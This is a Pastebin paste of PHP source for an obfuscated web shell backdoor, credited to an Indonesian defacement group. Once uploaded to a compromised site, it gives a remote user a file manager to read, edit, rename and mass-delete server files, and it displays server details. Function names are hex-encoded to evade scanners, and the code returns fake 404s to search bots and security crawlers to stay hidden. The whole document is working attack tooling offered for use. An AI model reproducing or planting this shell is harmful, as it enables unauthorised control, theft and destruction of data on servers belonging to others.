cdw1p

[PHP] FUD Mini Shell Backdoor

Apr 19th, 2019
1,047
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.40 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * [ FUD - MINI SHELL BACKDOOR ].
  5. *
  6. * @author BLACKHATCODE < BIMACYBERTEAM@GMAIL.COM >
  7. * @copyright (C) 2019 INDONESIAN DEFACER.
  8. * THANKS TO : B374K, ZER0BYTE, SHUTDOWN57, SHOR7CUT
  9. *
  10. **/
  11. @session_start();
  12. @ob_start();
  13. set_time_limit(0);
  14. error_reporting(0);
  15. header("X-XSS-Protection: 0");
  16. $config = array();
  17. $config['version']  = "1.0"; // VERSION.SUBVERSION
  18. $config['title']    = "5hell Controller ".$config['version']; // TITLE
  19. // CLEAN MAGIC QUOTES
  20. $_POST      = clean($_POST);
  21. $_GET       = clean($_GET);
  22. $_REQUEST   = clean($_REQUEST);
  23. /**
  24. * /-----------------------------------/
  25. * / SOME DEFINE PATH, ACTION, ETC.    /
  26. * /-----------------------------------/
  27. */
  28. define('ROOT',getcwd());
  29. define('DS',DIRECTORY_SEPARATOR);
  30. define('CURR_PATH',(empty($_GET['u'])) ? ROOT : $_GET['u']);
  31. // ****
  32. $__getcwd       = "\x67"."\x65\x74\x63\x77\x64";
  33. $__fget_con     = "\x66\x69\x6c\x65"."\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
  34. $__sc_dir       = "s"."\x63\x61\x6e\x64\x69"."r";
  35. $__rm_dir       = "\x72\x6d\x64"."ir";
  36. $__un_link      = "\x75\x6e"."\x6c\x69\x6e\x6b";
  37. // BLOCK SEARCH ENGINE BOT
  38. if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|acunetix|facebook|node|crawler|googlebot|facebookexternalhit|google|bing|yahoo|yahooseeker|yahoo!|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|PycURL|Mediapartners|facebok|rambler|msnbot|yandex|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  39.     header("HTTP/1.0 404 Not Found");
  40.     header("Status: 404 Not Found");
  41.     die();
  42. }
  43. elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  44.     header("HTTP/1.0 404 Not Found");
  45.     header("Status: 404 Not Found");
  46.     die();
  47. }
  48. // MAGIC QUOTE BYPASS
  49. function clean($arr){
  50.     $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  51.     if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
  52.         if(is_array($arr)){
  53.             foreach($arr as $k=>$v){
  54.                 if(is_array($v)) $arr[$k] = clean($v);
  55.                 else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  56.                 }
  57.             }
  58.         }
  59.         return $arr;
  60.     }
  61.     // GET FILE PERMISSIONS
  62.     function perms($__server_file){
  63.         $perms = fileperms($__server_file);
  64.         if(($perms & 0xC000) == 0xC000){$info = 's';
  65.     }elseif (($perms & 0xA000) == 0xA000){$info = 'l';
  66.     }elseif (($perms & 0x8000) == 0x8000){$info = '-';
  67.     }elseif (($perms & 0x6000) == 0x6000){$info = 'b';
  68.     }elseif (($perms & 0x4000) == 0x4000){$info = 'd';
  69.     }elseif (($perms & 0x2000) == 0x2000){$info = 'c';
  70.     }elseif (($perms & 0x1000) == 0x1000){$info = 'p';
  71.     }else {$info = 'u';
  72. }
  73.     $info .= (($perms & 0x0100) ? 'r' : '-');
  74.     $info .= (($perms & 0x0080) ? 'w' : '-');
  75.     $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
  76.     $info .= (($perms & 0x0020) ? 'r' : '-');
  77.     $info .= (($perms & 0x0010) ? 'w' : '-');
  78.     $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
  79.     $info .= (($perms & 0x0004) ? 'r' : '-');
  80.     $info .= (($perms & 0x0002) ? 'w' : '-');
  81.     $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
  82.     return $info;
  83. }
  84. function mass_delete($filelok){
  85.     if(is_dir($filelok)){
  86.         if(!rmdir($filelok)){
  87.             $s=scandir($filelok);
  88.             foreach ($s as $ss) {
  89.                 if(is_file($filelok."/".$ss)){
  90.                     if(unlink($filelok."/".$ss)){
  91.                         $rm=rmdir($filelok);
  92.                     }
  93.                 }
  94.                 if(is_dir($filelok."/".$ss)){
  95.                     $rm=rmdir($filelok."/".$ss);
  96.                     $rm.=rmdir($filelok);
  97.                 }
  98.             }
  99.         }elseif(is_file($filelok)){
  100.             $rm = unlink($filelok);
  101.         }
  102.     }elseif(is_file($filelok)){
  103.         $rm = unlink($filelok);
  104.     }
  105.     return $rm;
  106. }
  107. function redirect($kemana, $apa = 'html'){
  108.     if($apa == 'html'){
  109.         echo "<meta http-equiv='refresh' content='0;url={$kemana}'>";
  110.     }elseif($apa == 'js'){
  111.         echo "<script>window.location.href='{$kemana}';</script>";
  112.     }elseif($apa == 'php'){
  113.         @ob_start();
  114.         header('location:'.$kemana);
  115.         flush();
  116.     }
  117. }
  118. // SERVER INFORMATION
  119. $__server_software  = getenv("SERVER_SOFTWARE");
  120. $__server_system    = php_uname();
  121. $__server_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  122. $__server_my_ip = $_SERVER['REMOTE_ADDR'];
  123. $__server_info  = "<table><tr><td>↺&nbsp;".$__server_system."</td></tr>";
  124. $__server_info .= "<tr><td>↺&nbsp;".$__server_software."</td></tr>";
  125. $__server_info .= "<tr><td>↺&nbsp;Server IP : ".$__server_server_ip."<span class='gaya'> | </span>Your IP : ".$__server_my_ip;
  126. $__server_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
  127. $__server_info .= "</table>";
  128.  
  129. echo "<!DOCTYPE html>
  130. <html>
  131. <head>
  132. <meta charset='utf-8'>
  133. <meta name='robots' content='noindex, nofollow, noarchive'>
  134. <link href='http://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700' rel='stylesheet' type='text/css'>
  135. <script type='text/javascript' src='https://code.jquery.com/jquery-3.4.0.min.js'></script>
  136. <script type='text/javascript' src='https://cdn.jsdelivr.net/npm/vanilla-lazyload@8.17.0/dist/lazyload.min.js'></script>
  137. <script type='text/javascript' src='https://cdn.jsdelivr.net/npm/vanilla-lazyload@10.19.0/dist/lazyload.min.js'></script>
  138. <script type='text/javascript'>
  139. function select_all(pilih){
  140.     var cek = document.getElementsByName('fl[]');
  141.     for (var i =0; n=cek.length;i++) {
  142.         cek[i].checked = pilih.checked;
  143.     }
  144. }
  145. function hs(a,x){
  146.     document.getElementById(a).style.display='block';
  147.     document.getElementById(x).style.display='none';
  148. }
  149. </script>
  150. <title>".$config['title']." - ".$_SERVER['HTTP_HOST']." </title>
  151. <link rel='shortcut icon' href='http://nzsc.xtgem.com/favicon.png' />
  152. <style type='text/css'>
  153. body{margin-top: 10px;margin-left: 100px;margin-right: 100px;background-color: #0D0C0C;}
  154. *{font-family:Ubuntu Mono,serif;}body{background:#0D0C0C;font-size:13px;color:#ffffff;font-weight:400;}hr{border:1px solid #222222;}a{color:#4C83AF;text-decoration:none;}a:hover{color:#ffffff;}pre{padding:0 8px;}form{display:inline;}table th,p{cursor:default;}#main{background:#111111;-moz-border-radius:10px;border-radius:10px;width:100%;padding:2px 8px;}#header{text-align:left;margin:0;padding:0;}#header td{margin:0;padding:0;}#header h1{font-size:20px;-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);margin:0;padding:0;}#header h1 a,.explorelist:hover a{color:#ffffff;}#menu{background:#111111;margin:0 2px 4px;}#result{-moz-border-radius:10px;border-radius:10px;border:1px solid #4C83AF;line-height:16px;background:#111111;color:#aaaaaa;margin:0 0 8px;padding:4px 8px;}.headinfo{border-left:1px solid #4C83AF;margin:6px;padding:2px 0 0 16px;}.headtbls tr{height:24px;vertical-align:middle;}.gaya,.ver{color:#4C83AF;font-weight:700;}.ver{-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);letter-spacing:2px;}.menumi{background:#292929;color:#4C83AF;text-decoration:none;letter-spacing:2px;font-size:13px;-moz-border-radius:4px;border-radius:4px;margin:0;padding:4px 6px;}.menumi:hover{background:#363636;}.inputz,.prompt,.txtarea{background:#111111;border:0;border-bottom:1px solid #393939;font-size:13px;color:#ffffff;padding:2px;}.prompt{font-weight:700;}.txtarea{width:100%;height:370px;}.inputzbut{font-size:13px;background:#191919;color:#4C83AF;border:1px solid #222222;margin:0 4px;}.explore{width:100%;padding:4px 0;}.explore a{text-decoration:none;}.explore td{border-bottom:1px solid #222222;line-height:24px;vertical-align:top;padding:0 8px;}.explore th{font-weight:700;background:#222222;padding:6px 8px;}.explore tr:hover{background:#181818!important;}.sembunyi{display:none;margin:0;padding:0;}.info table{width:100%;border-radius:6px;border:1px solid #4C83AF;margin:4px 0;padding:8px;}.info th,th{background:#181818;font-weight:700;}.info td{border-bottom:1px solid #222222;}.info h2{text-align:center;font-size:15px;background:#1c1c1c;letter-spacing:6px;border-radius:6px;border-bottom:1px solid #4C83AF;margin:4px 0 8px;padding:10px;}.info a{color:#cccccc;}.viewfile{width:100%;border-bottom:1px solid #222222;margin:0 0 4px;}.viewfile td{border-bottom:1px solid #222222;background:#181818;height:24px;padding:2px 4px;}.viewfilecontent{padding:11px 8px;}.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid #4C83AF;margin:4px 0 8px;padding:14px 8px;}.mybox h2{border-bottom:1px solid #444444;color:#4C83AF;margin:0;padding:0 0 8px;}.notif{background:#4C83AF;color:#000000;border-radius:6px;font-weight:700;margin:3px 0;padding:4px 8px 2px;}.notif a{color:#000000;}.footer{text-align:right;font-size:10px;letter-spacing:2px;color:#222222;padding:0 16px;}.headtbl,.myboxtbl{width:100%;}input[type=checkbox].css-checkbox + label.css-label{padding-left:20px;height:15px;display:inline-block;line-height:15px;background-repeat:no-repeat;background-position:0 0;vertical-align:middle;cursor:pointer;}input[type=checkbox].css-checkbox:checked + label.css-label{background-position:0 -15px;}.info,.info h1,.info hr,input[type=checkbox].css-checkbox{display:none;}.css-label{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=);}
  155. </style>
  156. </head>
  157. <body>";
  158. echo $__server_info;
  159. if (isset($_GET['path'])){
  160.     $path = $_GET['path']; chdir($_GET['path']);
  161. }else{
  162.     $path = $__getcwd();
  163. }
  164. $path  = str_replace("\\", "/", $path);
  165. $paths = explode("/", $path);
  166. echo '<table width="100%" border="0" align="center""><tr><td>';
  167. echo "↺&nbsp;Location : ";
  168. foreach ($paths as $id => $location){
  169.     echo "<a href='?path=";
  170.     for ($i = 0; $i <= $id; $i++){
  171.         echo $paths[$i];
  172.         if ($i != $id){
  173.             echo "/";
  174.         }
  175.     }
  176.     echo "'>$location / </a>";
  177. }
  178. echo '&nbsp;- [ <a href="?">Home</a> ]</font></td>';
  179. echo '<tr><td></table><br />';
  180. if(isset($_POST['sac'])){
  181.     if($_POST['action'] == 'delete'){
  182.         foreach($_POST['fl'] as $dfil){
  183.             @mass_delete($dfil);
  184.         }
  185.     }
  186.     @redirect('?path='.CURR_PATH.'');
  187. }elseif(isset($_GET['filesrc'])){
  188.     echo '<table width="100%" border="0" cellpadding="1" cellspacing="1" align="center">
  189.     <tr><td>
  190.     Filename : '.basename($_GET['filesrc']).'
  191.     </tr></td></table><br />';
  192.     echo "<center><div id='result'><textarea class='inputzbut' style='margin: 0px; height: 357px; width: 100%;'' readonly=''>" . htmlspecialchars($__fget_con($_GET['filesrc'])) . "</textarea></div></center>";
  193. }elseif($_POST['opt'] == 'rename'){
  194.     if(isset($_POST['newname'])){
  195.         if(rename($_POST['path'], $path.'/'.$_POST['newname'])){
  196.             $result = '<font color="#00ff00">Rename File OK !</font>';
  197.         }else{
  198.             $result = '<font color="red">Rename File Failed !</font>';
  199.         }
  200.         $_POST['name'] = $_POST['newname'];
  201.     }
  202.     echo '<form method="POST">
  203.     <div id="result">
  204.     New Filename : <input name="newname" class="inputz" style="width:40%;height:19px;" type="text" value="'.$_POST['name'].'" />
  205.     <input class="inputzbut" style="width:100px;height:23px;" type="submit" value="Save Change" />
  206.     <label>'.$result.'</label>
  207.     <input type="hidden" name="path" value="'.$_POST['path'].'">
  208.     <input type="hidden" name="opt" value="rename">
  209.     </div></form>';
  210. }elseif($_POST['opt'] == 'edit'){
  211.     if(isset($_POST['src'])){
  212.         $fp = fopen($_POST['path'], 'w');
  213.         if(fwrite($fp, $_POST['src'])){
  214.             $result = '<font color="#00ff00">Edit File OK !</font>';
  215.         }else{
  216.             $result = '<font color="red">Edit File Failed !</font>';
  217.         }
  218.         fclose($fp);
  219.     }
  220.     echo '<form method="POST">
  221.     <div id="result">
  222.     Filename : <input class="inputz" style="width:40%;height:19px;" type="text" name="path" value="'.$_POST['path'].'" />
  223.     <input class="inputzbut" style="width:100px;height:23px;" type="submit" value="Save Change" />
  224.     <label>'.$result.'</label>
  225.     <input type="hidden" name="opt" value="edit"><br /><br />
  226.     <textarea class="inputzbut" style="margin: 0px; height: 357px; width: 100%;" name="src" id="src">'.htmlspecialchars($__fget_con($_POST['path'])).'</textarea></form></div>';
  227. }else{
  228.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  229.         if ($_POST['type'] == 'dir') {
  230.             if ($__rm_dir($_POST['path'])){
  231.                 $result = '<font color="#00ff00">Delete Folder OK !</font>';
  232.             }else{
  233.                 $result = '<font color="red">Delete Folder Failed !</font>';
  234.             }
  235.         }elseif($_POST['type'] == 'file'){
  236.             if ($__un_link($_POST['path'])){
  237.                 $result = '<font color="#00ff00">Delete File OK !</font>';
  238.             }else{
  239.                 $result = '<font color="red">Delete File Failed !</font>';
  240.             }
  241.         }
  242.     }
  243.     $_scdir = $__sc_dir($path);
  244.     echo '<div id="result">
  245.     <form method="post">
  246.     <table class="explore sortable" border="0" cellpadding="3" cellspacing="1" align="center">
  247.     <thead>
  248.     <tr class="first">
  249.     <th width="1%"><input id="checkalll" type="checkbox" name="fl[]" onclick="select_all(this)" /></th>
  250.     <th><center>Filename</center></th>
  251.     <th width="10%"><center>Size</center></th>
  252.     <th width="10%"><center>Permissions</center></th>
  253.     <th width="15%"><center>Last Update</center></th>
  254.     <th width="15%"><center>Options</center></th></tr>
  255.     </thead>';
  256.     foreach ($_scdir as $dir) {
  257.         if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
  258.             continue;
  259.         echo "<tr>
  260.         <td><center><input type='checkbox' name='fl[]' value='".CURR_PATH.DS."{$dir}' /></center></td>
  261.         <td><img src='http://nzsc.xtgem.com/folder.png' width=15px>&nbsp;
  262.         <a href=\"?path=$path/$dir\">[ $dir ]</a></td>
  263.         <td><center>--</center></td>
  264.         <td><center>";
  265.         if (is_writable("$path/$dir"))
  266.             echo '<font color="#00ff00">';
  267.         elseif (!is_readable("$path/$dir"))
  268.             echo '<font color="red">';
  269.         echo perms("$path/$dir");
  270.         if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
  271.             echo '</font>';
  272.         echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
  273.         echo "</center></td> <td><center><form method=\"POST\" action=\"?option&path=$path\"><select class=\"inputzbut\" name=\"opt\"><option value=\"\"></option><option value=\"rename\">Rename</option><option value=\"delete\">Delete</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" class=\"inputzbut\" value=\"+\" /></form></center></td></tr>";
  274.     }
  275.     foreach ($_scdir as $file) {
  276.         if (!is_file("$path/$file"))
  277.             continue;
  278.         $size = filesize("$path/$file") / 1024;
  279.         $size = round($size, 3);
  280.         if ($size >= 1024) {
  281.             $size = round($size / 1024, 2) . ' MB';
  282.         } else {
  283.             $size = $size . ' KB';
  284.         }
  285.         echo "<tr>
  286.         <td><center><input type='checkbox' name='fl[]' value='".CURR_PATH.DS."{$file}' /></center></td>
  287.         <td><img src='http://nzsc.xtgem.com/file2.png' width=15px>&nbsp;
  288.         <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  289.         <td>".$size."</td>
  290.         <td><center>";
  291.         if (is_writable("$path/$file"))
  292.             echo '<font color="#00ff00">';
  293.         elseif (!is_readable("$path/$file"))
  294.             echo '<font color="red">';
  295.         echo perms("$path/$file");
  296.         if (is_writable("$path/$file") || !is_readable("$path/$file"))
  297.             echo '</font>';
  298.         echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
  299.         echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\"><select class=\"inputzbut\" name=\"opt\"><option value=\"\"></option><option value=\"edit\">Edit</option><option value=\"rename\">Rename</option><option value=\"delete\">Delete</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" class=\"inputzbut\" value=\"+\" /></form></center></td></tr>";
  300.     }
  301.     echo '<tr>
  302.     <td style="text-align:center;border-top:3px ;text-indent:4px;">
  303.     <input id="checkalll" class="css-checkbox" type="checkbox" name="fl[]" onclick="select_all(this)" />
  304.     <label for="checkalll" class="css-label"></label>
  305.     </td>
  306.     <td style="border-top:3px ;">
  307.     <select id="action" name="action" class="inputzbut" style="width:85%;height:18px;margin:0;">
  308.     <option value="" disabled selected>--- [ Choose Action ] ---</option>
  309.     <option value="delete">Delete</option>
  310.     </select>
  311.     <input type="submit" value="Execute" name="sac" class="inputzbut" />
  312.     </td>
  313.     </form>
  314.     </td>
  315.     </tr>
  316.     </table></div>';
  317. }
  318. echo '<br><center>&copy; <a href="">2019</a> - Indonesian Defacer</center><br>';
  319. echo '</body></html>';
  320. ?>
Add Comment
Please, Sign In to add comment